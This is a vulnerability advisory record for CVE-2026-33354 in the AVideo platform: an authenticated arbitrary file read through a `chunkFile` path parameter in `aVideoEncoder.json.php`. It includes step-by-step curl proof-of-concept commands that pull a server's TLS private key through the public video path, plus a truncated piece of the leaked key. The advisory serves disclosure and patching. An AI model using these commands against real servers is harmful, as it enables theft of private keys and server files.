CVE-2026-33354: Wwbn/avideo AVideo Has An Authenticated Arbitrary Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4jw9-5hrc-m4j6",
  "modified" : "2026-03-25T18:49:20Z",
  "published" : "2026-03-19T19:34:06Z",
  "aliases" : [ "CVE-2026-33354" ],
  "summary" : "AVideo has an authenticated arbitrary local file read via `chunkFile` path injection in `aVideoEncoder.json.php`",
  "details" : "## Summary\n`POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files.\n\nFor an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP.\n\nI confirmed this locally by creating an attacker-owned video, then calling `aVideoEncoder.json.php` with `videos_id=<own video>`, `format=mp4`, and `chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem`. The resulting public video URL returned the local TLS private key and began with `-----BEGIN PRIVATE KEY-----`.\n\n## Affected Versions / Commit\nTested on local Docker deployment from commit `db12d4c0141d40bfabd1e82577e8c4a3d044cd84`. The application reported version `26.0`.\n\n## Preconditions\n- Authenticated account with upload permission.\n- Attacker owns at least one editable video record.\n- Target local file is readable by the web application user.\n\n## Steps to Reproduce\n1. Log in as an upload-capable low-privileged user.\n2. Create any attacker-owned video via the normal upload endpoint to obtain `videos_id` and `filename`.\n3. Send a POST request to `aVideoEncoder.json.php` with the attacker's own `videos_id`, an allowed `format`, and a server-local `chunkFile` path.\n4. Download the resulting media object from `/videos/<filename>/<filename>.mp4`.\n\n## Proof of Concept\nThe included `poc.py` automates the exploit against the local instance.\n\nManual reproduction:\n\n```bash\n# 1. Login as low-priv uploader\ncurl -s -c attacker.cookies \\\n  -d 'user=attacker&pass=UserPass123!' \\\n  http://127.0.0.1/objects/login.json.php >/dev/null\n\n# 2. Create an attacker-owned video\nprintf 'x' > poc.mp4\ncurl -s -b attacker.cookies \\\n  -F 'upl=@poc.mp4;type=video/mp4' \\\n  http://127.0.0.1/view/mini-upload-form/upload.php\n\n# Example response:\n# {\"error\":false,\"title\":\"poc\",\"filename\":\"poc_69bb86db62c308.68438735\",\"videos_id\":4,...}\n\n# 3. Copy a local file into the attacker's public video path\ncurl -s -b attacker.cookies \\\n  -d 'videos_id=4&format=mp4&title=poc&description=test&chunkFile=/var/www/html/AVideo/.compose/letsencrypt/live/localhost/privkey.pem' \\\n  http://127.0.0.1/objects/aVideoEncoder.json.php\n\n# 4. Retrieve the copied file over HTTP\ncurl -s \\\n  http://127.0.0.1/videos/poc_69bb86db62c308.68438735/poc_69bb86db62c308.68438735.mp4 | head\n```\n\n## Observed Result\nThe final GET returned the contents of the local TLS private key:\n\n```text\n-----BEGIN PRIVATE KEY-----\nMIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQ...\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-4jw9-5hrc-m4j6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33354"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/59bbd601a3f65a5b18c1d9e4eb11471c0a59214f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-19T19:34:06Z",
    "nvd_published_at" : "2026-03-23T15:16:33Z"
  }
}